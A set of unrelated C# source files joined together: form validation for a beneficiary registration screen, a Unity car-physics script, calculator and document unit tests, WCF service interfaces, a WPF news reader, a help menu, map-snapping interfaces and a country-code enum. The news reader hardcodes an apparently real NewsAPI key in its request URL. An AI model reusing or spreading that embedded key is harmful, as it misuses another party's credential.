beneficiarioSNombre_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidosBeneficiario[1] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
beneficiarioSNombre_valid.Source = new BitmapImage(imgURI);
}
if (beneficiarioNombre2_txt.Text == "")
{
camposValidosBeneficiario[1] = true;
beneficiarioSNombre_valid.Source = MainPage.bmpClear;
}
}
private void beneficiarioApellido1_txt_TextChanged(object sender, TextChangedEventArgs e)
{
beneficiarioApellido1_txt.Text.Trim();
if (nombres.IsMatch(beneficiarioApellido1_txt.Text))
{
camposValidosBeneficiario[2] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
beneficiarioPApellido_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidosBeneficiario[2] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
beneficiarioPApellido_valid.Source = new BitmapImage(imgURI);
}
if (beneficiarioApellido1_txt.Text == "")
{
camposValidosBeneficiario[2] = true;
beneficiarioPApellido_valid.Source = MainPage.bmpClear;
}
}
private void beneficiarioApellido2_txt_TextChanged(object sender, TextChangedEventArgs e)
{
beneficiarioApellido2_txt.Text.Trim();
if (nombres.IsMatch(beneficiarioApellido2_txt.Text))
{
camposValidosBeneficiario[3] = true;
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
beneficiarioSApellido_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidosBeneficiario[3] = false;
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
beneficiarioSApellido_valid.Source = new BitmapImage(imgURI);
}
if (beneficiarioApellido2_txt.Text == "")
{
camposValidosBeneficiario[3] = true;
beneficiarioSApellido_valid.Source = MainPage.bmpClear;
}
}
private void beneficiarioId_txt_TextChanged(object sender, TextChangedEventArgs e)
{
beneficiarioId_txt.Text.Trim();
if (numeroIdentidad.IsMatch(beneficiarioId_txt.Text))
{
camposValidosBeneficiario[4] = true;
mensaje_txt.Text = "*Campos Obligatorios";
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
beneficiarioId_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidosBeneficiario[4] = false;
mensaje_txt.Text = "Formato valido de Identidad: 0000-0000-00000";
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
beneficiarioId_valid.Source = new BitmapImage(imgURI);
}
if (beneficiarioId_txt.Text == "")
{
camposValidosBeneficiario[4] = true;
mensaje_txt.Text = "*Campos Obligatorios";
beneficiarioId_valid.Source = MainPage.bmpClear;
}
}
private void porcentajeAportacion_txt_TextChanged(object sender, TextChangedEventArgs e)
{
porcentajeAportacion_txt.Text.Trim();
try
{
porcentajeAportacion = Convert.ToInt32(porcentajeAportacion_txt.Text);
}
catch { }
if (porcentaje.IsMatch(porcentajeAportacion_txt.Text))
{
camposValidosBeneficiario[5] = true;
mensaje_txt.Text = "*Campos Obligarios";
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
porcentajeAportacion_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidosBeneficiario[5] = false;
mensaje_txt.Text = "Valor debe ser entre 0 y 100\nLa suma de los % debe ser menor o igual a 100";
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
porcentajeAportacion_valid.Source = new BitmapImage(imgURI);
}
if (porcentajeAportacion_txt.Text == "")
{
camposValidosBeneficiario[5] = true;
registrar_btn.IsEnabled = true;
mensaje_txt.Text = "*Campos Obligarios";
porcentajeAportacion_valid.Source = MainPage.bmpClear;
}
}
private void porcentajeSeguro_txt_TextChanged(object sender, TextChangedEventArgs e)
{
porcentajeSeguro_txt.Text.Trim();
try
{
porcentajeSeguro = Convert.ToInt32(porcentajeSeguro_txt.Text);
}
catch { }
if (porcentaje.IsMatch(porcentajeSeguro_txt.Text))
{
camposValidosBeneficiario[6] = true;
mensaje_txt.Text = "*Campos Obligarios";
registrar_btn.IsEnabled = true;
string sURL = "/ProyectoSCA_Navigation;component/Images/Good.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
porcentajeSeguro_valid.Source = new BitmapImage(imgURI);
}
else
{
camposValidosBeneficiario[6] = false;
mensaje_txt.Text = "Valor debe ser entre 0 y 100\nLa suma de los % debe ser menor o igual a 100";
registrar_btn.IsEnabled = false;
string sURL = "/ProyectoSCA_Navigation;component/Images/Bad.png";
Uri imgURI = new Uri(sURL, UriKind.Relative);
porcentajeSeguro_valid.Source = new BitmapImage(imgURI);
}
if (porcentajeSeguro_txt.Text == "")
{
camposValidosBeneficiario[6] = true;
registrar_btn.IsEnabled = true;
mensaje_txt.Text = "*Campos Obligarios";
porcentajeSeguro_valid.Source = MainPage.bmpClear;
}
}
/********************************************************************************************************************************
************************************************** Metodos Auxiliares *****************************************************
*********************************************************************************************************************************/
public void habilitarCampos(bool valor)
{
try
{
registrar_btn.IsEnabled = valor;
pNombre_txt.IsEnabled = valor;
sNombre_txt.IsEnabled = valor;
pApellido_txt.IsEnabled = valor;
sApellido_txt.IsEnabled = valor;
direccion_txt.IsEnabled = valor;
genero_txt.IsEnabled = valor;
telefono_txt.IsEnabled = valor;
telefono2_txt.IsEnabled = valor;
celular_txt.IsEnabled = valor;
celular2_txt.IsEnabled = valor;
profesion_txt.IsEnabled = valor;
email_txt.IsEnabled = valor;
lugarNacimiento_txt.IsEnabled = valor;
fechaNacimiento_txt.IsEnabled = valor;
contrasena_txt.IsEnabled = valor;
contrasena2_txt.IsEnabled = valor;
estadoCivil_txt.IsEnabled = valor;
empresa_txt.IsEnabled = valor;
fechaIngresoEmpresa_txt.IsEnabled = valor;
telefonoEmpresa_txt.IsEnabled = valor;
departamentoEmpresa_txt.IsEnabled = valor;
direccionEmpresa_txt.IsEnabled = valor;
beneficiarioApellido1_txt.IsEnabled = valor;
beneficiarioApellido2_txt.IsEnabled = valor;
beneficiarioNombre1_txt.IsEnabled = valor;
beneficiarioNombre2_txt.IsEnabled = valor;
beneficiarioId_txt.IsEnabled = valor;
beneficiarioGenero_txt.IsEnabled = valor;
fechaIngresoEmpresa_txt.IsEnabled = valor;
fechaNacimiento_txt.IsEnabled = valor;
parentescoBeneficiario_txt.IsEnabled = valor;
porcentajeSeguro_txt.IsEnabled = valor;
porcentajeAportacion_txt.IsEnabled = valor;
tipoBeneficiario_txt.IsEnabled = valor;
agregarBeneficiario_btn.IsEnabled = valor;
}
catch
{
}
}
public void habilitarPantalla(bool valor)
{
tabControl1.IsEnabled = valor;
}
private void resetBeneficiarios()
{
beneficiarioNombre1_txt.Text = "";
beneficiarioNombre2_txt.Text = "";
beneficiarioApellido1_txt.Text = "";
beneficiarioApellido2_txt.Text = "";
beneficiarioId_txt.Text = "";
beneficiarioGenero_txt.SelectedIndex = 0;
beneficiarioNacimiento_txt.Text = "";
parentescoBeneficiario_txt.SelectedIndex = 0;
porcentajeSeguro_txt.Text = "";
porcentajeAportacion_txt.Text = "";
tipoBeneficiario_txt.SelectedIndex = 0;
}
private void tipoBeneficiario_txt_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
if (tipoBeneficiario_txt.SelectedIndex == 1)
{
porcentajeSeguro_txt.Text = "100";
porcentajeAportacion_txt.Text = "100";
porcentajeSeguro_txt.IsReadOnly = true;
porcentajeAportacion_txt.IsReadOnly = true;
}
else
{
porcentajeSeguro_txt.IsReadOnly = false;
porcentajeAportacion_txt.IsReadOnly = false;
}
}
}
public class Beneficiarios
{
public string PrimerNombre { get; set; }
public string SegundoNombre { get; set; }
public string PrimerApellido { get; set; }
public string SegundoApellido { get; set; }
public string NumeroIdentidad { get; set; }
public string TipoBeneficiario { get; set; }
public float PorcentajeAportaciones { get; set; }
public float PorcentajeSeguros { get; set; }
public string Genero { get; set; }
public string Parentesco { get; set; }
public string Direccion { get; set; }
public string Fecha_Nacimiento { get; set; }
}
}
|
namespace Uintra.Features.Notification.Settings
{
public class NotificationSettings
{
public int ItemsPerPage { get; set; }
}
} |
using UnityEngine;
using System.Collections;
public class FourWD : MonoBehaviour
{
//reference to the wheel joints
WheelJoint2D[] wheelJoints;
//center of mass of the car
public Transform centerOfMass;
//reference tot he motor joint
JointMotor2D motorBack;
JointMotor2D motorFront;
//horizontal movement keyboard input
float dir = 0f;
//input for rotation of the car
public float torqueDir = 0f;
//max fwd speed which the car can move at
float maxFwdSpeed = -5000f;
//max bwd speed
float maxBwdSpeed = 2000f;
//the rate at which the car accelerates
float accelerationRate = 1000f;
//the rate at which car decelerates
float decelerationRate = -200f;
//how soon the car stops on braking
float brakeSpeed = 2500f; // original 2500f
//acceleration due to gravity
float gravity = 9.81f;
//angle in which the car is at wrt the ground
float slope = 0f;
//reference to the wheels
public Transform rearWheel;
public Transform frontWheel;
public string accelerationAxis, horizontalAxis;
private Vector3 startPosition;
GameObject car;
CarJump carJump;
// Use this for initialization
void Start()
{
//set the center of mass of the car
GetComponent<Rigidbody2D>().centerOfMass = centerOfMass.transform.localPosition;
GetComponent<Rigidbody2D>().centerOfMass += new Vector2(3.0f, -1); // move it down
// print("car x: " + GetComponent<Rigidbody2D>().centerOfMass.x);
// print("car y: " + GetComponent<Rigidbody2D>().centerOfMass.y);
// print("car width: " + GetComponent<Rigidbody2D>().centerOfMass
//get the wheeljoint components
wheelJoints = gameObject.GetComponents<WheelJoint2D>();
//get the reference to the motor of front wheels joint
motorBack = wheelJoints[1].motor;
motorFront = wheelJoints[0].motor; // qual é a frente?
car = transform.parent.gameObject; // Nomad completo para flipar também as rodas
print(car.ToString());
carJump = this.GetComponent<CarJump>(); // to access the facingRight boolean var in CarJump.cs
}
public void Reset()
{
motorBack.motorSpeed = 0.0f;
motorFront.motorSpeed = 0.0f;
wheelJoints[1].motor = motorBack; // para quê isto???
wheelJoints[0].motor = motorFront; // com isto, a roda da frente não se mexe sem aplicar velocidade no código
}
//all physics based assignment done here
void FixedUpdate()
{
//add ability to rotate the car around its axis
torqueDir = Input.GetAxis(horizontalAxis);
//if (!carJump.facingRight) torqueDir *= -1.0f;
if (torqueDir != 0)
{
// GetComponent<Rigidbody2D>().AddTorque(100 * Mathf.PI * torqueDir, ForceMode2D.Force);
GetComponent<Rigidbody2D>().AddTorque(300 * Mathf.PI * (-1 * torqueDir), ForceMode2D.Force);
}
else {
GetComponent<Rigidbody2D>().AddTorque(0);
}
//determine the cars angle wrt the horizontal ground
slope = transform.localEulerAngles.z;
//convert the slope values greater than 180 to a negative value so as to add motor speed
//based on the slope angle
if (slope >= 180)
slope = slope - 360;
//horizontal movement input. same as torqueDir. Could have avoided it, but decided to
//use it since some of you might want to use the Vertical axis for the torqueDir
dir = Input.GetAxis(accelerationAxis);
if (!carJump.facingRight) dir *= -1.0f;
//check if there is any input from the user
if (carJump.wheelsGrounded()) // only accelerate or brake if wheels are grounded
{
// print("wheels are grounded");
if (dir > 0) // if input is positive
{
if (motorBack.motorSpeed > 0) // car is going backward
{ // apply brakes on both wheels
motorBack.motorSpeed = Mathf.Clamp(motorBack.motorSpeed - brakeSpeed * Time.deltaTime, maxFwdSpeed, maxBwdSpeed);
// if (motorFront.motorSpeed > 0)
motorFront.motorSpeed = Mathf.Clamp(motorFront.motorSpeed - brakeSpeed * Time.deltaTime, maxFwdSpeed, maxBwdSpeed);
}
else // back wheel is stationary or going forward // motorBack.motorSpeed <= 0
{ // accelerate
motorBack.motorSpeed = Mathf.Clamp(motorBack.motorSpeed - (dir * accelerationRate - gravity * Mathf.Sin((slope * Mathf.PI) / 180) * 80) * Time.deltaTime, maxFwdSpeed, maxBwdSpeed);
// if (motorFront.motorSpeed < 0)
motorFront.motorSpeed = Mathf.Clamp(motorFront.motorSpeed - (dir * accelerationRate - gravity * Mathf.Sin((slope * Mathf.PI) / 180) * 80) * Time.deltaTime, maxFwdSpeed, maxBwdSpeed);
}
}
if (dir < 0) // if input is negative
{
/*
// simply braking
if (motorBack.motorSpeed < 0) {
motorBack.motorSpeed = Mathf.Clamp(motorBack.motorSpeed + brakeSpeed * Time.deltaTime, maxFwdSpeed, 0);
motorFront.motorSpeed = Mathf.Clamp(motorBack.motorSpeed + brakeSpeed * Time.deltaTime, maxFwdSpeed, 0);
}
*/
if (motorBack.motorSpeed < 0) // back wheel is going forward
{ // apply brakes on both wheels
motorBack.motorSpeed = Mathf.Clamp(motorBack.motorSpeed + brakeSpeed * Time.deltaTime, maxFwdSpeed, maxBwdSpeed); // sinal ok
// if (motorFront.motorSpeed < 0) // front wheel is going forward
motorFront.motorSpeed = Mathf.Clamp(motorFront.motorSpeed + brakeSpeed * Time.deltaTime, maxFwdSpeed, maxBwdSpeed); // sinal ok
}
else // back wheel is stationary or going backward // motorBack.motorSpeed >= 0
{ // accelerate
motorBack.motorSpeed = Mathf.Clamp(motorBack.motorSpeed - (dir * accelerationRate - gravity * Mathf.Sin((slope * Mathf.PI) / 180) * 80) * Time.deltaTime, maxFwdSpeed, maxBwdSpeed);
// if (motorFront.motorSpeed > 0)
motorFront.motorSpeed = Mathf.Clamp(motorFront.motorSpeed - (dir * accelerationRate - gravity * Mathf.Sin((slope * Mathf.PI) / 180) * 80) * Time.deltaTime, maxFwdSpeed, maxBwdSpeed);
}
}
}
//if no input and car is moving forward or no input and car is stagnant and is on an inclined plane with negative slope
if ((dir == 0 && motorBack.motorSpeed < 0) || (dir == 0 && motorBack.motorSpeed == 0 && slope < 0))
{
//decelerate the car while adding the speed if the car is on an inclined plane
motorBack.motorSpeed = Mathf.Clamp(motorBack.motorSpeed - (decelerationRate - gravity * Mathf.Sin((slope * Mathf.PI) / 180) * 80) * Time.deltaTime, maxFwdSpeed, 0);
motorFront.motorSpeed = Mathf.Clamp(motorBack.motorSpeed - (decelerationRate - gravity * Mathf.Sin((slope * Mathf.PI) / 180) * 80) * Time.deltaTime, maxFwdSpeed, 0);
}
//if no input and car is moving backward or no input and car is stagnant and is on an inclined plane with positive slope
else if ((dir == 0 && motorBack.motorSpeed > 0) || (dir == 0 && motorBack.motorSpeed == 0 && slope > 0))
{
//decelerate the car while adding the speed if the car is on an inclined plane
motorBack.motorSpeed = Mathf.Clamp(motorBack.motorSpeed - (-decelerationRate - gravity * Mathf.Sin((slope * Mathf.PI) / 180) * 80) * Time.deltaTime, 0, maxBwdSpeed);
motorFront.motorSpeed = Mathf.Clamp(motorBack.motorSpeed - (-decelerationRate - gravity * Mathf.Sin((slope * Mathf.PI) / 180) * 80) * Time.deltaTime, 0, maxBwdSpeed);
}
//connect the motor to the joint
wheelJoints[1].motor = motorBack;
wheelJoints[0].motor = motorFront;
}
} |
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Calculator;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
namespace Calculator.Tests
{
[TestClass()]
public class CalculatorTests
{
[TestMethod()]
public void GetFileResultTest()
{
// Arrage
Calculator calc = new Calculator();
// Act
calc.CalculateFile(Directory.GetCurrentDirectory() + "\\TestFile.txt", Directory.GetCurrentDirectory() + "\\TestFileResult.txt");
string[] actual = File.ReadAllLines(Directory.GetCurrentDirectory() + "\\TestFileResult.txt");
string[] expected = File.ReadAllLines(Directory.GetCurrentDirectory() + "\\RightFileResult.txt");
//Assert
CollectionAssert.AreEqual(expected, actual);
}
[TestMethod()]
public void GetExpressionResult()
{
// Arrage
Calculator calc = new Calculator();
string expected = "На ноль делить нельзя.";
string actual = "";
// Act
try
{
actual = calc.GetExpressionResult("2*(-2*0,5/-10+30)*3+5/(-20+40-20)").ToString();
}
catch (DivideByZeroException e)
{
actual = e.Message;
}
// Assert
Assert.AreEqual(expected, actual);
}
[TestMethod()]
public void GetExpressionResult2()
{
// Arrage
Calculator calc = new Calculator();
string expected = "Входная строка имела неверный формат.";
string actual = "";
// Act
try
{
actual = calc.GetExpressionResult("(2-3*10)*2-x*(20+20/20)").ToString();
}
catch (Exception)
{
actual = "Входная строка имела неверный формат.";
}
// Assert
Assert.AreEqual(expected, actual);
}
[TestMethod()]
public void GetExpressionResult3()
{
// Arrage
Calculator calc = new Calculator();
// Act
double actual = calc.GetExpressionResult("(-20*-30+15/20)*(45+30/5)-(18+13-18)");
double expected = 30625.25;
// Assert
Assert.AreEqual(expected, actual);
}
}
} |
using P1.Data;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Linq.Expressions;
using System.ServiceModel;
using System.Text;
using System.Threading.Tasks;
namespace ObjectWCF
{
[ServiceContract]
public interface InterfaceMedia
{
[OperationContract]
Media GetMedia(int id);
[OperationContract]
IEnumerable<Media> GetAllMedia();
[OperationContract]
List<Media> QueryMedia(string toSearch);
[OperationContract]
List<Media> QueryMediaDate(string toSearch, DateTime from, DateTime to);
[OperationContract]
Media AddMedia(Media entity);
[OperationContract]
void DeleteMedia(int id);
[OperationContract]
Media GetMediaByPath(string path);
[OperationContract]
void UpdateMedia(Media entity);
[OperationContract]
Media AddTagToMedia(Media media, Tags tag);
[OperationContract]
Media RemoveTagFromMedia(string path, int tagId);
}
[ServiceContract]
public interface InterfaceTags
{
[OperationContract]
Tags GetTag(int id);
[OperationContract]
List<int> QueryTags(string toSearch);
[OperationContract]
IEnumerable<Tags> GetAllTags();
[OperationContract]
Tags AddTag(Tags entity);
[OperationContract]
void DeleteTag(int id);
[OperationContract]
ICollection<Tags> GetTagByName(string name);
}
[ServiceContract]
public interface IMediaTags : InterfaceMedia, InterfaceTags
{
[OperationContract]
void Complete();
}
}
|
using Newtonsoft.Json;
using NoticiasWeb.Models;
using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Http;
using System.Windows;
namespace NoticiasWeb
{
/// <summary>
/// Interação lógica para MainWindow.xam
/// </summary>
public partial class MainWindow : Window
{
string url = "https://newsapi.org/v2/top-headlines?sources=google-news-br&apiKey=f11b582f67c84a48b3b5739428440120";
List<Article> lista = new List<Article>();
public MainWindow()
{
InitializeComponent();
var root = _downloadJsonPOG<RootObject>(url);
foreach (var r in root.articles)
{
lista.Add(new Article() { title = r.title+"\n\n"+r.description , url = r.url, urlToImage = r.urlToImage });
}
grid.ItemsSource = lista;
}
private static T _downloadJsonPOG<T>(string url) where T : new()
{
using (var w = new WebClient())
{
var data = string.Empty;
try
{
w.Encoding = System.Text.Encoding.UTF8;
w.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
data = w.DownloadString(url);
new StringContent(data, System.Text.Encoding.UTF8, "text/plain");
}
catch (Exception) { }
return !string.IsNullOrEmpty(data) ? JsonConvert.DeserializeObject<T>(data) : new T();
}
}
private void Grid_SelectionChanged(object sender, System.Windows.Controls.SelectionChangedEventArgs e)
{
}
}
}
|
using Seguim.Netcore.Store.Domain.StoreContext.ValueObjects;
using Xunit;
using System.Linq;
using System;
namespace Seguim.Netcore.Store.Tests.ValueObjects
{
public class DocumentTests
{
[Fact(DisplayName="Should return notification when document is invalid")]
public void DocumentIsInvalid()
{
var document = new Document("48689215254");
Assert.False(document.Valid);
Assert.Contains("Document", document.Notifications.ToList().First().Property);
}
[Fact(DisplayName="Should not return notification when document is valid")]
public void DocumentIsValid()
{
var document = new Document("48689215255");
Assert.True(document.Valid);
Assert.Empty(document.Notifications);
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Ajuda
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("############## MENU AJUDA (?) #################");
Console.WriteLine("Selecione uma das opções abaixo para obter ajuda sobre a funcionalidade");
Console.WriteLine("1 - CADASTRO DE PROVAS");
Console.WriteLine("2 - GERAR GABARITOS");
Console.WriteLine("3 - EXIBIR QUESTÕES OBJETIVAS");
Console.WriteLine("4 - EXIBIR QUESTÕES DESCRITIVAS");
Console.WriteLine("5 - EXIBIR GABARITO");
Console.WriteLine("6 - EDITAR OBJETIVAS");
Console.WriteLine("7 - EDITAR DESCRITIVAS");
Console.WriteLine("8 - REMOVER ENUNCIADO DESCRITIVAS");
Console.WriteLine("9 - REMOVER ENUNCIADO OBJETIVAS");
Console.WriteLine("10 - EXIBIR EXEMPLO DE PROVAS");
Console.WriteLine("0 - RETORNAR AO MENU PRINCIPAL");
Console.WriteLine("");
Console.WriteLine("Informe a opção que deseja: ");
int opc = Convert.ToInt32(Console.ReadLine());
switch (opc)
{
case 1:
Console.WriteLine("Realiza o cadastro da prova que deseja a partir de descritivas com seu enunciados, e objetivas com seus enunciados suas alternativas de A a E com uma opção correta.");
break;
case 2:
Console.WriteLine("Gera o gabarito das provas objetivas cadastradas e sua opção certa, e também gera a resposta das descritivas.");
break;
case 3:
Console.WriteLine("Exibe as questões objetivas anteriormente cadastradas pelo usuário (Questões objetivas possuem enunciado e opções de A a E e possuem somente uma correta)");
break;
case 4:
Console.WriteLine("Exibe as questões descritivas anteriormente cadastradas pelo usuário (Possuem um enunciado da pergunta e uma resposta descrita)");
break;
case 5:
Console.WriteLine("Exibe gabarito com respostas das questões objetivas respectivamente opontadas com uma opção de A a E , e descritivas com a resposta escrita");
break;
case 6:
Console.WriteLine("Edita as respostas lternativas (A a E) colocadas como correta na resposta da questão");
break;
case 7:
Console.WriteLine("Edita as respostas nas perguntas descritivas colocadas anteriormente");
break;
case 8:
Console.WriteLine("Remove o enunciado da questão descritiva, a pergunta anteriormente posta");
break;
case 9:
Console.WriteLine("Remove o enunciado da questão objetiva, a pergunta anteriormente posta");
break;
case 10:
Console.WriteLine("Exibir provas ja elaboradas staticamente de exemplo");
break;
case 0:
// MostraMenu();
break;
}
}
}
}
|
using gView.Framework.Carto;
using gView.Framework.Data;
using gView.Framework.UI;
using System;
using System.Collections.Generic;
namespace gView.Framework.Snapping.Core
{
public class Globals
{
public const string ModuleGuidString = "2E50D579-766B-4ed9-A6F9-A4F3472F77AC";
static public Guid ModuleGuid = new Guid(ModuleGuidString);
}
public enum SnapMethode { None = 0, Vertex = 1, Edge = 2, EndPoint = 4 }
public interface ISnapLayer
{
SnapMethode Methode { get; }
IFeatureLayer FeatureLayer { get; }
}
public interface ISnapSchema : IEnumerable<ISnapLayer>
{
string Name { get; }
double MaxScale { get; }
void Clear();
void Add(ISnapLayer layer);
void Remove(ISnapLayer layer);
void Remove(IFeatureLayer layer);
}
public interface ISnapModule
{
List<ISnapSchema> this[IMap map] { get; }
ISnapSchema ActiveSnapSchema { get; set; }
void RefreshGUI();
void Snap(ref double X, ref double Y);
int SnapTolerance { get; set; }
}
public interface ISnapTool
{
void Snap(ref double X, ref double Y);
bool ShowSnapMarker { get; }
}
public class SnapTool : ISnapTool
{
private ISnapModule _module = null;
virtual public void OnCreate(object hook)
{
if (hook is IMapDocument && ((IMapDocument)hook).Application is IMapApplication)
{
_module = ((IMapApplication)((IMapDocument)hook).Application).IMapApplicationModule(Globals.ModuleGuid) as ISnapModule;
}
}
#region ISnapTool Member
virtual public void Snap(ref double X, ref double Y)
{
if (_module != null)
{
_module.Snap(ref X, ref Y);
}
}
virtual public bool ShowSnapMarker
{
get { return true; }
}
#endregion
}
}
|
using Alabo.Web.Mvc.Attributes;
using System.ComponentModel.DataAnnotations;
namespace Alabo.Framework.Core.Enums.Enum {
/// <summary>
/// 国家
/// </summary>
[ClassProperty(Name = "国家")]
public enum Country : long {
/// <summary>
/// 默认
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "中国")]
China = 0,
/// <summary>
/// 阿富汗
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "阿富汗")]
Afghanistan = 93,
/// <summary>
/// 阿尔巴尼亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "阿尔巴尼亚")]
Albania = 355,
/// <summary>
/// 阿尔及利亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "阿尔及利亚")]
Algeria = 213,
/// <summary>
/// 美属萨摩亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "美属萨摩亚")]
AmericanSamoa = 1684,
/// <summary>
/// 安道尔
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "安道尔")]
Andorra = 376,
/// <summary>
/// 安哥拉
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "安哥拉")]
Angola = 244,
/// <summary>
/// 安圭拉
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "安圭拉")]
Anguilla = 1264,
/// <summary>
/// 南极洲
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "南极洲")]
Antarctica = 672,
/// <summary>
/// 巴布达
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "巴布达")]
AntiguaandBarbuda = 1268,
/// <summary>
/// 阿根廷
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "阿根廷")]
Argentina = 54,
/// <summary>
/// 亚美尼亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "亚美尼亚")]
Armenia = 374,
/// <summary>
/// 阿鲁巴
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "阿鲁巴")]
Aruba = 297,
/// <summary>
/// 澳大利亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "澳大利亚")]
Australia = 59, //61
/// <summary>
/// 奥地利
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "奥地利")]
Austria = 43,
/// <summary>
/// 阿塞拜疆
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "阿塞拜疆")]
Azerbaijan = 994,
/// <summary>
/// 巴哈马
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "巴哈马")]
Bahamas = 1242,
/// <summary>
/// 巴林
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "巴林")]
Bahrain = 973,
/// <summary>
/// 孟加拉国
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "孟加拉国")]
Bangladesh = 880,
/// <summary>
/// 巴巴多斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "巴巴多斯")]
Barbados = 1246,
/// <summary>
/// 白俄罗斯
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "白俄罗斯")]
Belarus = 375,
/// <summary>
/// 比利时
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "比利时")]
Belgium = 32,
/// <summary>
/// 伯利兹
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "伯利兹")]
Belize = 501,
/// <summary>
/// 贝宁
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "贝宁")]
Benin = 229,
/// <summary>
/// 百慕大
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "百慕大")]
Bermuda = 1441,
/// <summary>
/// 不丹
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "不丹")]
Bhutan = 975,
/// <summary>
/// 玻利维亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "玻利维亚")]
Bolivia = 591,
/// <summary>
/// 黑塞哥维那
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "黑塞哥维那")]
BosniaandHerzegovina = 387,
/// <summary>
/// 博茨瓦纳
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "博茨瓦纳")]
Botswana = 267,
/// <summary>
/// 巴西
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "巴西")]
Brazil = 55,
/// <summary>
/// 英属印度洋领地
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "英属印度洋领地")]
BritishIndianOceanTerritory = 246,
/// <summary>
/// 英属维尔京群岛
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "英属维尔京群岛")]
BritishVirginIslands = 1284,
/// <summary>
/// 文莱
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "文莱")]
Brunei = 673,
/// <summary>
/// 保加利亚
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "保加利亚")]
Bulgaria = 359,
/// <summary>
/// 布基纳法索
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "布基纳法索")]
BurkinaFaso = 226,
/// <summary>
/// 布隆迪
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "布隆迪")]
Burundi = 257,
/// <summary>
/// 柬埔寨
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "柬埔寨")]
Cambodia = 855,
/// <summary>
/// 喀麦隆
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "喀麦隆")]
Cameroon = 237,
/// <summary>
/// 加拿大
/// </summary>
[LabelCssClass(BadgeColorCalss.Success)]
[Display(Name = "加拿大")]
Canada = 1,
/// <summary>
/// 佛得角
/// </summary>
